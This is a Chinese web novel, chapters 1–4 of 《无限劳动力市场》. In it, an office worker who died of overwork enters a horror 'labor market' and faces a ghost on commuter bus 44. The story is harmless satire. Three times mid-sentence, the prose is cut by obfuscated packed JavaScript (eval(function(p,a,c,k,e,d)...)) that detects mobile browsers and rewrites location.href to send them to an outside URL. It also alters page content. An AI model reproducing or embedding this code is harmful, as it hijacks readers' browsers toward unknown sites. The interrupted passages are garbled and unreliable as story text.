《无限劳动力市场[无限]》 1. 44路通勤专线 “欢迎来到无限劳动力市场,请填写您的入职申请书。” 姜照看着面前这位货真价实的兔女郎前台,涣散的目光先是黏在对方一抖一颤的毛绒兔耳上,最后缓缓落定在那张透着诡异熟悉感的入职申请书上。 猝死带来的剧烈头痛,混杂着看见工作相关事物便控制不住涌上喉头的生理性反胃,正暗中催促着她尽快做出抉择。 姜照捂着嘴干呕了几下,脸色苍白地摇头拒绝,声音虚弱:“不……我不填,我再也不想工作了。” “拒绝无效,无限劳动力市场不会放过任何一名具备榨取价值的人。”兔女郎的声线依旧柔婉动听,吐出的字句却格外刺耳,“请填写您的入职申请书。” 于是,一人一兔就这样僵持不下。 最后还是站得太久,腿酸了撑不住的姜照率先做出让步。 没办法,当代社畜的身体素质就是这样——脆脆的,很安息。 猝死的后遗症还在发力,握着羽毛笔的手控制不住地抽搐,可姜照的字迹,依旧工整得挑不出半分错处。 她一笔一画写着,思绪却有些飘忽地想着,还好自己当初专门练过这项技能。 毕竟工作近四年,自己不是没有过连续多天在零下十几度的天气里,长时间站在四面通风的车间,冻着手记录测试数据几个小时的情况。 时间长了,自然就有了经验,即便手指再怎样抽搐、或者僵硬,字迹都能写得清晰、好辨认。 【姓名:姜照。】 【年龄:25岁。】 随着姜照填写完毕,一道陌生又毫无感情的机械音倏然不知从何响起: 【已调取求职玩家“姜照”的生平信息,恭喜您入职成功,正在生成人物画像……】 【经查验,职员“姜照”死亡原因:连续加班一百九十八天、长期保持朝八晚十一工作时间且单休(实际未执行)工作制,最终因连续通宵两天赶制数据报表,引发心源性猝死。】 【叮——职员“姜照”达成“美丽的怪物”触发条件,获取永久性buff:无论遭受何种精神污染,理智值永远不低于1点。】 【注:恭喜您已于生前完成异化进程,无限劳动力市场急需您这样的顶尖人才,静候您日后大放异彩!】 随着播报完成,兔女郎看向姜照的眼神瞬间添了几分热络的亲切。 她抬手朝虚空一抓,又取出一张白纸递过来:“恭喜您正式入职,请填写您的《个人发展计划表》。” “温馨提示:您的员工专属技能,将参考此计划表生成,请务必慎重填写。” 姜照接过那张纸,只扫了一眼,本就剧烈的头痛便更重几分。 好在表格上基本信息、生前背景、工作履历这些繁琐的内容,早已自动生成完毕,需要她亲自填写的,只有寥寥两项——【个人发展目标】与【发展计划】。 见此,姜照只能安慰自己:好歹这次比生前公司每年强制要求填写的计划表,要人性化得多,起码不用反复填写那些千篇一律的基本信息。 换了个全新的“职场环境”,自然不能再写以前的那些东西。 更何况,经历过一次猝死,她早就有了全新的人生目标。 思虑片刻,姜照提笔在【个人发展目标】一栏写下一句:“推翻无限劳动力市场主义,走上退休巅峰!” 一行字写得力透纸背。 目标既定,发展计划的雏形也随之浮现。 只是姜照眼下对这个无限劳动力市场的认知,还只是在“剥削员工玩命刷恐怖副本的黑心老板”这个粗浅层面,了解实在有限。 故而,思来想去,她只落笔写下了三点框架性思路。 【一是人员统筹层面:弱化市场核心人力维系,夯实自身团队执行底气。】 “撬墙角、强制下线,怎么能削减市场的副本员工数量就怎么来,同时还要发展出一支属于自己的团队,静待有朝一日,自己领导的团队羽翼丰满,一举推翻黑心老板统治,从此退休金拿到手软,退休生活快活似神仙。” ——毕竟,不会带团队,只能自己干到死。 【二是人员思想层面:统一团队核心共识,筑牢执行思想根基。】 “必须做好团队成员的思想引导工作,向团队成员传递清晰的工作核心价值观——争创新、提效率、拒加班、高工资、早退休,主动关注团队成员的诉求与发展需求,打造“目标一致、互帮互助”的团队氛围,让所有人的心力都聚焦在副本攻坚上,而非被动服从层级管理。” ——毕竟,思想是行动的先导,决定着团队的方向与底气。 【三是工作执行层面:坚守发展目标导向,践行灵活高效的执行策略。】 “为保障工作目标顺利达成,体现团队人性化底色,允许成员采用灵活务实的执行方式,过程可以不拘一格,但最终必须以结果为导向,所有人需定期同步阶段性成果,用实打实的业绩,回应一切质疑。” ——毕竟,她自己也只是个普通人,做不到面面俱到、一手遮天,适当放权、信任员工、扬长避短,才能最高效地达到目的。 总结:一切为了早早退休! 生前累死累活拼命工作却没来得及享受到退休的快乐时光,这一次,她一定要夺回属于自己的退休生活! 姜照满意地看着这份写满“推翻黑心老板暴政,带领社畜员工退休”野心的个人发展计划表,半点没觉得有什么不妥,坦坦荡荡地递了上去。 提示音再次响起:【个人学习发展计划表已接收,正在生成职员身份卡……】 【生成完毕。】 一阵微凉的触感倏然缠上左手手腕,姜照低头看去,苍白的皮肤上竟多了一串银灰色的编码。 她下意识抬手抚摸,一道淡蓝色的光屏应声弹开,清晰地罗列着她的职场信息。 还挺与时俱进、信息化的。 【职员姓名:姜照。】 【职员等级:F级(实习生)。】 【积分:0分。】 【专属技能:镜中假面(爱丽丝/红皇后)。】 【叮——请职员姜照尽快打卡上班,为无限劳动力市场创造更多价值!】 提示音余音未消,兔女郎便礼貌笑着指了指前台桌上的打卡机,语气甜软,却带着不容拒绝的强硬意味:“请在一分钟内完成打卡上班,否则将按照迟到、旷工处理,扣10分。” 都是听惯了的考勤扣分说辞,姜照脸上不见半分慌乱,垂眸盯着打卡机上跳动的时间,直到最后一秒,才不紧不慢地抬手按了上去。 社畜的最后底线——卡点上班原则,无论何时何地,都不能丢。 【职员姜照成功打卡上班,本次分配D级工作副本——44路通勤专线。】 随着提示音落,一阵恍惚袭来,姜照再睁眼时,已经置身于一片浓得化不开的夜色迷雾里。 她环顾四周,别说通勤站牌了,连半盏指路的路灯都看不见。 一个糟糕的念头瞬间涌上姜照心头:这个该死的、没人性的公司市场,不会要让她这个实打实的路痴,在连导航都没有的陌生鬼地方,找一个闻所未闻的通勤站点吧? 就在姜照暗戳戳骂现任顶头上司的时候,一个温柔又富有磁性的声音突然自身后响起:“这位看起来好像迷路的‘爱丽丝’小姐,请问需要帮助吗?” 姜照一惊,猛地回头一看,然后瞬间沉默——映入眼帘的,是一位身着燕尾服的兔男郎。 只是这位兔男郎比先前那位兔女郎前台更显精致,剪裁合体的黑色燕尾服衬得他肩宽腰窄,以姜照纵横职场四年、阅人无数的毒辣眼光来看,对方的身高绝对在一米八五以上!加之骨相优越,五官轮廓分明而深邃,薄唇微抿,总给人一种冷峻凉薄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372983|200018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的距离感。 单看这些,姜照觉得对方并不适合在一个社畜职场环境里做服务行业—— 在真正被工作和生活逼疯的人面前,再帅也没用,这种冷脸距离感很容易被投诉服务态度差的! 好在,兔男郎头顶那顶小礼帽上时不时轻轻颤动的柔软长耳,很好地弥补了这一点,不仅柔和了整体的气质,更衬得他身姿高挑,再加上嘴角恰到好处的微笑,和红宝石一般剔透的眼睛,举手投足间透着一股并不刺人的矜贵,宛如从欧洲复古油画里走出来的贵公子,只叫人如沐春风,生不起一点防备。 通体看下来,看起来更像是兔女郎的领导。 对于接二连三出现的兔形拟人生物,姜照很难不怀疑,自己现在的顶头上司是不是有一些不可告人的兴趣爱好。 不过,爱美之心人皆有之,美好的事物她也很喜欢就是了。 默默打量着面前彬彬有礼的兔男郎,姜照心情都莫名好了几分。 常年和职场里的牛鬼蛇神打交道,冷不丁撞见这样一位极品帅哥,简直是视觉上的顶级享受。 兔男郎见她只盯着自己不说话,也不恼,反倒缓步上前,停在她身侧,嘴角的笑意又深了几分:“看来,亲爱的爱丽丝小姐对我很满意啊。” 骤然拉近的距离,瞬间触发了姜照的生理应激反应。 没办法,做了太久的社畜,别人一靠近,她就下意识想原地闪现拉开距离——毕竟,没有哪个被工作磋磨过的社畜,还能不患上“人形生物过敏症”。 哪怕眼前这位兔男郎帅得人神共愤,哪怕他甚至不算完全意义上的“人”! 姜照不动声色地朝后退了半步,拉开安全距离,才礼貌地开口询问:“麻烦问一下,先生您是?” 开口的同时,她在心底默默感慨:感谢三年多的社畜生涯,让她即便骨子里是个社恐,也能面容麻木地和陌生人寒暄。 “嗯?爱丽丝不认识我吗?”兔男郎微微弯腰,与她平视,温柔的语气里掺了几分恰到好处的委屈,“意外坠入兔子洞的小爱丽丝,不正是靠着白兔先生的引路,才开启了那场如梦似幻的仙境之旅吗?” 姜照心头一跳,瞬间联想到自己刚解锁的专属技能,还有那个家喻户晓的童话故事。 这个兔男郎搞不好是自己的新手大礼包——白送的团队员工! 她清澄的眼眸微微睁大,声音里不自觉地染上了几分惊奇:“所以……你不是那位前台兔女郎的上司,而是来带我去找通勤站点的礼宾员?” 兔男郎闻言挑了挑眉,显然没料到姜照会这般坦荡又自然地将他当成了人形导航,眼底却漫开一抹纵容的笑意:“带你去站点自然没问题,不过我的用处,可远不止于此。” 姜照深谙合格领导者的准则,摸清下属的能力固然重要,可凡事总得有轻重缓急。 她一副公事公办的模样:“上班时间,还是正事要紧,先带我去通勤站点,至于你的事,等有空了我们再慢慢细说。” “好的,您可以称呼我为伦纳。”兔男郎见此,很听话地没再多言,只微微颔首,转身引着姜照往前方沉在夜色里的通勤站点走去。 待两人抵达时,昏暗的站台上已然站着六道沉默的身影,或立或倚,全都面无表情地盯着前方雾气翻涌的黑暗,像是六尊没有生气的雕塑。 姜照眸光微凝,心中了然——这六位,应该就是她本次副本的同事了。 她刚抬脚准备走上前,身侧一路前行的伦纳却骤然消失,唯有一句轻语裹挟着夜风,悠悠散在耳畔:“为避免引人怀疑,我还是先藏起来比较好,后续的通关任务您加油。” 话音未落,远处浓得化不开的雾气里,骤然亮起两盏昏黄的车灯,一辆大巴车正歪歪扭扭地朝着站台驶来,轮胎碾过地面的声响渐渐放大,像是某种巨兽在暗夜中磨牙。 44路通勤车,到了。 2. 44路通勤专线 作为最后一个登车的人,姜照有一个天然的优势——她能够直观地观察到已经上车同事的位置布局,这或许会对之后的副本通关有帮助。 可当她一只脚踏上车厢,目光透过车内昏暗的灯光,落在车厢内部时,脚步却蓦地顿住,有些愣怔地呆站在原地。 车厢里的人哪里只是她刚才匆匆一瞥时看到的六个人? 姜照下意识地眯起眼,借着车内勉强能视物的微光,飞快地在心里默数,直到数到最后一排,垂在身侧的手无声地蜷缩起来——足足二十一个人。 显然,在她和先前那批人上车之前,就已经有不少“同事”提前登了车。 通勤车的空间不算大,九排座椅规整地排成三列,左侧单列,右侧双列,中间只留了一条堪堪容一人通过的过道,对于姜照这种晕车、还格外抗拒陌生人坐身边的人而言,委实有点难受。 就在姜照僵在原地,眉头越皱越紧的时候,驾驶座上传来一道沙哑得像是蒙了层砂纸的声音,带着几分程式化的僵硬与麻木,毫无波澜地催促道:“请乘客尽快落座,通勤专线即将发车。” 姜照闻声,倒也没急着往里走。 她路过驾驶区和车厢之间的隔离门时,瞥到一张白底黑字的纸,被胶带牢牢贴在透明隔离门的正中央,标题赫然写着《通勤专线乘坐指南》,下面只列了短短六条,却透着一股说不出的压抑。 “1.44路通勤专线为材料液园区公司职工通用专车,车内请勿发生大声喧哗、吵架、嬉笑打闹等不文明行为,以免影响其他职工。” “2.请勿被周围环境影响,身为公司职工,须时刻提醒自己保持积极的上班状态,不可懈怠。” “3.为营造良好公司形象,同事之间应互帮互助,展示良好的团队合作精神。” “4.公司永远是职工的家,心怀敬畏,方能远行。” “5.专车车票上记录着职工所在公司名称,请勿丢失回家的凭证。” “6.专车座位一经选定,不得更换。” “7.请职工在正确的公司站点下车。” 不过几秒的功夫,姜照就把这七条内容记了下来。 只是在看到熟悉的第二、三、五、六条有关公司文化话术时,她习惯性垂下眼帘,掩去眸底一闪而过的嫌弃,这才抬脚,不紧不慢地往车厢深处走。 左侧单列的座椅已经没有空位,姜照最终挑了第四列邻座是女性的靠过道空位坐下。 刚落座,姜照就不动声色地抬眼,用余光将周围的人扫了个遍,最后心底默默得出一个结论—— 提前上车同事的身体好像普遍不太好,一张张脸透着毫无血色的青白,眼神空洞得像是蒙了一层灰,面容也是没有表情的麻木,看起来比曾经熬了三个大通宵的自己还要憔悴。 一定是上班上的! 姜照面无表情地想道:“每天天不亮就得爬起来通勤上班,能气色好才怪呢!” 她暗自腹诽,合着不管到了什么地方,打工人的命都是一样的苦,这糟糕的大环境,真是半点没放过谁。 所有乘客就位,通勤专车猛地晃了一下,引擎发出一阵老旧的轰鸣声,缓缓启动了。 一起步,车身就晃得厉害,本就被猝死后遗症折腾得头疼欲裂的姜照,只觉得胃里一阵翻江倒海,酸水直往上涌,差点没当场吐出来。 就在这时,一双带着凉意的手,突然轻轻覆上了她的太阳穴,指尖微凉的温度恰到好处,力道也拿捏得极准,不轻不重地揉按着,像是带着某种安抚人心的力量,将那股令人窒息的晕眩感一点点压了下去。 姜照下意识地仰头,目光穿过头顶昏黄的灯光,望过去,发现只有看不见的空气。 …… 说实话,搁在眼下这透着诡异的车厢里,着实有点惊悚。 大抵是察觉到姜照骤然绷紧的身体和瞬间凝滞的呼吸,一道熟悉的声音,忽然在她耳畔轻轻响起,带着几分温和的笑意:“别害怕,是我。” “放心,我的存在只有你能看到、听到,不用担心违反规则要求。” 见姜照还是没反应过来仰着头看向自己的方向,伦纳无奈地轻笑一声,动作温柔却带着一丝强势,轻轻将她的小脑袋扳正,声音里带着几分戏谑,又藏着几分认真:“比起在乎我,小爱丽丝还是把精力放在通关上比较好。” 一句话瞬间拉回姜照作为牛马打工人的思绪,正好头疼也舒缓许多,能让她开始集中注意力思考通关办法。 副本的通关要求不难猜,应该就是刚才看到的《通勤专线乘坐指南》上所说的最后一条“依据车票在正确地点下车”,只是—— 姜照上车以后,自始至终都没有发现这个专车上任何有关提供车票的地方。 坐以待毙不是自己的性格。 为了避免自己漏看,姜照向右边过道小幅度侧出身体,想要观察车厢内部结构,却不承想微微弯曲的身体挤压到上衣外套右侧的口袋,发出一声极小的折纸声。 姜照心猛地一跳——这件灰色针织外套是自己刚换上的,口袋不应该有东西。 她下意识地抬手摸了过去,指尖触碰到口袋里那片薄薄的纸质感时,动作倏地一顿—— 好像找到所谓的车票了。 姜照绷住自己属于打工人的麻木表情,不动声色地将车票从口袋里摸了出来,飞快地低头瞥了一眼,原本还算平稳的心率瞬间直升一百八—— 这车票上一片空白,连半个字都没有! 冷静!冷静!一定要冷静! 姜照深吸一口气,车厢里独属于清晨时分的冰凉空气顺着喉咙滑进肺里,才勉强压下那股差点冲破喉咙的惊悸。 她就知道,这种赌上性命的工作副本,怎么可能会这么简单就可以完成通关? 在心里反复这样安慰着自己,姜照即将爆表的心率这才慢慢回稳,大脑也不再因为充血而嗡嗡作响。 她用力闭了闭眼,再睁开时,原本惊慌的眸底又恢复成只剩下一片沉寂的状态,左手中指的指甲被无意识地咬着,脑海里已然开始飞速梳理思路。 首先,只要是工作,都逃不过一个deadline。 而这个副本的DDL,显然就是通勤专线抵达公司的那一刻。 刚才抬头寻找伦纳的时候,姜照顺便借着余光,瞥见了右侧后车门上方的到站时间显示屏。 只是,那屏幕上仅孤零零地显示着“起点站”和“终点站”两个站名,随着通勤车缓缓前行,两个站名之间那条原本绿油油 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372984|200018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的连接线,正以肉眼可见的速度,一点点染上刺眼的红色。 不过,现在刚刚启程,那红色侵蚀的进度并不多,零星得像几点不小心溅上去的陈年血渍,根本没办法估算距离终点站还有多久。 但姜照心里清楚,时间肯定不会充裕,必须尽快找到让这张空白车票显示出公司名称的办法。 她再次不动声色地打量起车厢里的人。 副本才刚刚开始,再加上《通勤专线乘坐指南》第一条的禁令压着,所有人都噤若寒蝉,坐得板正,加之任务刚开始没多久,副本惩罚机制还不明朗,自己没必要贸然行动,做第一个试探规则的人。 姜照慢慢眯起眼睛,既然行动上有所限制,那不如还是回到那张《通勤专线乘坐指南》,从规则上找突破口了。 想到这里,姜照微微勾起唇角。 作为一个十六年应试教育锤炼出来的“文化人”,再加上近四年摸爬滚打练出来的解读领导、同事弦外之音的经验,姜照对自己的阅读理解能力还是有信心的,这短短七条规则,应该还是能找到一些线索的。 她指尖轻轻摩挲着口袋里那张空白的车票,眼神放空,脑中回想那张《通勤专线乘坐指南》,开始逐字逐句地拆解这七条规则。 第一条规则的字面意思很好理解,这辆通勤专车上载着不同公司的人,而通勤车作为公共场合,禁止大声喧哗、吵架、嬉笑打闹等不文明行为,都是再正常不过的要求。 姜照垂着眼,右手的中指和食指搭在右腿膝盖上,指尖无意识地轻轻点着,眉头微蹙地沉吟思忖——只是规则里没说清,“大声喧哗”的声音分贝界限在哪,“嬉笑打闹”又要到何种程度才算逾矩。 规则界定模棱两可,违反规则的惩罚也未明说,看来后续在这车上,若非必要,自己还是少开口、不与旁人随意交流最稳妥。 相比于第一条规则,第二条规则“不被周围环境影响,保持积极的上班状态”,则显得更加含糊不清。 周围环境? 想到这里,姜照下意识地抬眸,不动声色地扫视一圈车厢,然后不出意外地没有什么发现。 有些失望地摇了摇头,她正要收回目光坐直身体,却在视线猝不及防掠过左侧窗户时,身形一顿,整个人倏然怔了怔。 窗外依旧是浓得化不开的黑夜,墨色的天幕像是浸了水的绒布,一直蔓延到遥远的地平线,沉沉地压得人喘不过气。 看得时间一久,姜照恍惚觉得自己好像看到有什么模糊的轮廓在缓慢蠕动,黏腻又诡谲,像蛰伏的阴影,等待着将人慢慢吞噬。 异状转瞬即逝,等姜照意识到不对劲再去看时,窗外早已经恢复如常,没有半分异样,快得让人心生疑窦,只感觉自己刚才所见,不过是副本压力下催生的幻觉。 可姜照确定自己没看错,现在回想起来,那个轮廓很像一个模糊的人形。 说不定就是线索呢! 怀揣着这样的心思,姜照揉了揉眼尾,准备再看,可视线刚落在车窗上,一道轻飘飘的声音,就毫无征兆地缓缓在她脑海深处响起,语调温和,却带着一股说不出的蛊惑意味,一遍遍绕着她的思绪打转。 “睡吧,睡吧,就此沉浸在黑夜的梦乡里,忘掉所谓的工作吧……” 3. 44路通勤专线 忘掉工作,就此沉睡。 这句话轻飘飘落入耳畔,姜照只觉得好像听到伊甸园里的那条毒蛇在自己身体里窃窃低语,在这对于社畜而言无比巨大的诱惑面前,所谓的清明与理智被搅得一塌糊涂。 我应该就此睡去。 已经记不清自己有多久没有踏踏实实睡过一觉的姜照发自内心地这么想。 毕竟,她真的很累很累了。 在还活着的时候,她就时常觉得自己像是乌鸦喝水故事里的那个水瓶,本来盛着并不多的疲惫,可为了生存下去,随着积年累月的工作,里面渐渐积累起数不清的“石子”—— 一件接一件、永远干不完的工作,阴阳怪气、处处使绊子的同事,见高就拜、见低就踩的势利领导,办公室里终日凝滞的压抑氛围…… 这些令人作呕的东西,日复一日层层叠叠地压在身上,叫她不得挣脱,不得解放。 于是,终于有一天,疲惫溢出来了。 与之相伴的,是越来越糟糕的睡眠。 每天勉强凑够不到七个小时的浅眠,夜里总要毫无征兆地惊醒三四次,渐渐地,姜照眼底的青黑浓得化不开,精神状态更是摇摇欲坠,萎靡得厉害。 也正因如此,原本在彻底猝死前、还恍惚留有一点意识时,姜照曾真心感到如释重负。 那时的她觉得,死亡对自己而言也算是最终的解脱,她也终于能够如自己所愿好好睡上一觉了。 可再一睁眼,无限劳动力市场的出现,又硬生生打碎了她这点仅剩的可怜妄想。 在这种艰难情况下,现在竟然有人对她说,忘掉工作,安然沉睡! 姜照心底猛地涌上一股说不清道不明的感动,鼻尖微酸,几乎是下意识地,就循着那道温柔的声音,遵从内心,卸下了所有防备,任由自己往一场酣畅淋漓的深度长眠里沉去。 窗外黑暗里,那道声音的主人——一个隐在暗处的女鬼,见姜照连一丁点儿挣扎的意识都没有,欣慰地点点头,非常满意这种丝毫不反抗的上道行为。 她唇角勾起一抹得意的弧度,语气愈发柔腻、蛊惑,像裹了蜜的毒药:“来吧,来吧,陷入沉睡,然后同我一起,坠入这黑暗不得脱身吧。” 说完,女鬼就开始自信等待本来渐渐阖上双眼的姜照彻底陷入沉睡。 这种事她都干了不知道多少年了,熟练得很,这个可怜的小女孩就乖乖成为本次副本她的KPI吧! 最好还能因为积分不足,和她一起留在这该死的黑暗里,一遍遍看着这个破烂大巴车来回晃悠吧! 可惜,女鬼想得很美,但现实却没能如她所愿。 就在即将陷入混沌的那一刻,姜照突然听到女鬼的最后一句话,即便意识涣散,属于打工人的防被坑雷达还是敏锐地察觉到不对劲。 这个扑面而来的怨气和恶意…… 姜照直接幻视生前那些见不得自己好、费尽心机想要算计自己背锅的同事! 不行! 自己还不能睡! 就算要睡觉,也得先了解情况,绝对不能被坑! 不然这觉也睡得不踏实! 就像连着三天通宵后刚准备好好睡一觉、却被不得不回的工作消息吵醒一样,姜照努力凝聚起涣散的意识,表情因为不能立刻入睡的痛苦而扭曲一瞬,拼尽全力也不过喃喃出声一句疑问:“那我会变得和你一样吗?” 声音轻得几不可闻。 好在,女鬼作为一个副本怪物老员工,业务能力还是在线的。 没有任何难度地听清这句疑问后,她猛地一愣,漆黑无神的眼珠里闪过一丝错愕。 女鬼万万没料到,眼前这个顶着两个浓重黑眼圈、头几乎要磕到前面座椅背的女人,在自己的蛊惑下竟还能留着一丝清明,还能说出一句完整的话来。 要知道,虽然这不过是个D级副本,但由于进来的都是市场里最底层的新手职员,加之副本规则模糊,隐藏的陷阱也很多,她向来能轻易坑杀这些没什么经验的新人,完成自己的杀人指标。 不过,惊讶也只是一瞬,出于对新手职员的轻视,女鬼并没把这点小意外放在心上。 秉持着身为副本小boss的兢兢业业,她继续柔声蛊惑,尾音还带着刻意的娇软:“变得和我一样多好呀,这样你就不用在副本里担惊受怕,日子会过得很轻松的哦~” 这话落在姜照耳朵里,即便意识还陷在被蛊惑的迷蒙中,她也下意识地摇了摇头,像在拒绝一份坑人的工作offer,语气含糊却坚定:“我不想一直上夜班,还要连轴转,算了吧。” 外面这么黑,这女鬼就已经开始上班杀人了,比他们这群在通勤车上准备去上班的人还可怜,看不出来一丁点儿的轻松,她才不会上这个当。 轻飘飘一句话,打出意想不到的暴击伤害,精准地狠砸在当事鬼心上。 一直上夜班且连轴转的女鬼瞬间破防,蛊惑的力量也随之消散。 姜照缓缓眨了两下眼,涣散的瞳孔渐渐聚焦,意识这才一点点回笼。 她下意间看向左侧车窗,这次上面清晰映出女鬼飘在半空的身影,只不过一副仿佛被抽走了所有力气、备受打击的模样。 打量的视线一顿,姜照不由得微微歪了歪头,眼里满是疑惑。 这个怪物怎么一副被虐到了的样子? 被一个刚入职无限劳动力市场、半点儿副本经验都没有的新人,一语点破自己工作辛苦的本质,女鬼捂着胸口,只觉得自己已经停跳的心脏突然开始堵得慌。 她一边依依不舍地和自己的杀人KPI告别,一边强打起最后一丝职业精神,扯出一个僵硬的假笑,声音直接传进姜照的意识里:“恭喜你成功抵抗住外界诱惑,保持了积极的上班状态,鉴于你这份极强的责任心,奖励你一次询问副本通关线索的机会。” 察觉到这道声音是直接作用在精神意识层面,姜照并没有着急使用这个机会,而是用余光快速扫了一圈身边的人,确认没人注意到自己这边的异样,才悄悄松了口气。 毕竟在生前那个职场里,她见多了自己埋头苦干,最后成果却被别人摘走的糟心事。 总有那么些眼红的人,从不看别人背后付出了多少努力,只盯着别人手里的好处,一门心思想着不劳而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372985|200018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 获,坐享其成。 她现在孤身一人在这陌生的副本里,可不想因为一点线索,就和这些还不熟悉的同事产生矛盾,徒增不必要的麻烦。 确认周围无虞后,姜照才放下心来,也试着用意识和女鬼沟通,声音是一贯的轻细,带着几分谨慎和礼貌:“麻烦请问一下,这个询问的机会,我可以选择现在不用,等后续遇到需要的时候再使用吗?” “可以。”女鬼的声音传过来,有气无力的,显然还没从姜照刚才那番“锐评”里走出来,整个人都蔫蔫的,连飘着的身形都低了几分。 姜照满意地勾起嘴角,准备收回的目光不经意又落在女鬼蔫哒哒的背影上,本想装作没看见,可转念一想,对方好像就是因为被自己戳穿了现状,又蛊惑自己失败,才变成这副萎靡不振的样子。 这么一想,心里那点小小的良心突然抽痛了一下,实在做不到视而不见。 思虑再三,姜照决定还是委婉地安慰一下比较好。 她有些紧张地抿抿嘴,用意识轻声问道:“你现在一副……萎靡不振的样子?是因为我吗?” 女鬼闻言,原本已经准备隐匿回黑暗里的背影猛地一顿,随即缓缓转过头来,一张惨白的脸上,眼尾泛红得格外明显,嘴角下撇,表情幽怨到了极点,对着姜照沉重地点了点头。 随即,她就顶着被投诉工作态度差的风险,狠狠翻了一个大大的白眼,猩红的眼珠里满是怨念,语气愤愤地传进姜照的意识:“小姑娘,你知道你之前说的话对我这种副本牛马打工鬼造成了多大的心理创伤吗?” 女鬼在这个D级副本里待了这么久,勾过的新手职员没有一千也有八百,从来没有哪个低级职员,能在陷入她的蛊惑后还能清醒过来,更别说还能精准戳中她的痛点。 这还是这么久以来,第一次有人和她提到工作里的辛苦,哪怕对方是害自己心情糟糕、指标难以完成的罪魁祸首,女鬼也忍不住打开了话匣子,一肚子的苦水翻涌而出,开始对着姜照喋喋不休地诉苦。 “你这小姑娘,看着年纪轻轻的,没想到说话却一点儿也不客气,嘴这么毒。既然都知道夜班辛苦,连轴转难受,还非得把姐姐我自我安慰的谎言戳穿,真是一点儿边界感都没有,哪有人这么拆台的!” 女鬼的声音里怨气满满,任谁都能看出来,她是真的受够了这份没日没夜、辛苦又憋屈的勾魂工作。 姜照瞬间怜爱了。 女鬼现在这副模样,像极了被老板苛责、被同事刁难而满心委屈的自己。 自己每每被工作压得喘不过气时,也盼着能有个人静静听自己诉苦、让她好好发泄一场。 于是她收敛心神,端正身子,一脸认真地静静听着。 等终于把积压的怨气尽数发泄出来,女鬼长长舒了口气,抬眼看见姜照始终一副安静专注的聆听模样,说不清是不是因为这么多年头一次有人愿意听她絮叨这些糟心事,心底忽然一软。 犹豫再三,她还是忍不住叮嘱了一句:“你还年轻,不懂职场险恶,以后说话可要小心,不然哪天不小心说错话被人暗地使绊子,连怎么栽的都不知道。” 4. 44路通勤专线 听到女鬼那番带着过来人口气的叮嘱,姜照联想到自己宛如宫斗剧一般的职场经历,深以为然地点了点头,语气里带着几分心累的认同:“说得很有道理,我以后会更加小心的。” 她才工作不到四年,经历的明枪暗箭、背刺甩锅、挖坑使绊子就已经数不清了,同事、领导、客户……那些看似和善的笑脸背后藏着多少算计,不真的经历一下,很难凭空想象。 说罢,不等女鬼再开口,姜照又飞快补充了一句,语气里还带着几分同是打工人的惺惺相惜:“虽然还想听姐姐再多吐槽几句工作上那些离谱事,但是我现在还有任务必须先完成,姐姐想说尽管说,只是我这边要集中精神,可能回得没那么及时。” 原本还微微抿着唇、一副依依不舍模样的女鬼,一听这话,瞬间松了一口气。 她连忙摆了摆手,语气轻快了不少:“嗨呀,小姑娘你就忙你的,我不吵你,只是太久没人跟我说过话了,一时没忍住多说了几句。” “没关系,我理解。”姜照轻声应着,重新将注意力拉回《通勤专线乘坐指南》,试图从中寻找破局的线索,随口又叹道,“毕竟上班就是这么烦人,一到工位就感觉喘不过气,长时间熬着,谁都会想找个人倾诉一下这种烦躁又苦闷的心情。” 闻言,女鬼愣了一下,随即声音里透出几分真切的惊讶:“听这意思,小姑娘你还上过班?看你的外表一点都不像,还以为你只是个学生呢。” “很多第一次见我的人都这么说,可能是因为我性格比较幼稚吧,显得不够成熟吧。”姜照无奈一笑,视线慢慢从窗户上移开,一边回想着《通勤专线乘坐指南》第三条内容,一边陷入沉思。 同事之间应互帮互助——这句话究竟是什么意思? 目光悄悄扫过邻座面无表情、眼神麻木的同事,姜照皱了皱眉,如果她直接开口询问,这些素未谋面的“同事”,会告诉她该如何把公司名称印在车票上吗? 女鬼看着姜照眉头微蹙、一脸为难的模样,心底难得升起一股同病相怜的滋味,只是碍于副本规则,即便她有心帮点忙,也没办法无条件告知玩家线索。 犹豫片刻,回想着女孩认真倾听自己抱怨的神情,女鬼最后眼神一定,试探性地装作一副漫不经心的样子,语气平稳得仿佛只是随口一提:“看在大家都是社畜的面子上,姐姐就再叮嘱你一句。” “工作啊,就是要时刻留意自己所处的环境,遵守规矩,不出风头,三不拗六,才能四通五达。” 姜照闻言,心中一跳,下意识再次看向车窗上映出的身影,看到女鬼略有飘忽的眼神,明白女鬼是想要隐晦地提醒自己什么。 她在心底无声地重复了一遍那句话,很快敏锐地捕捉到了异常。 三不拗六。 四通五达。 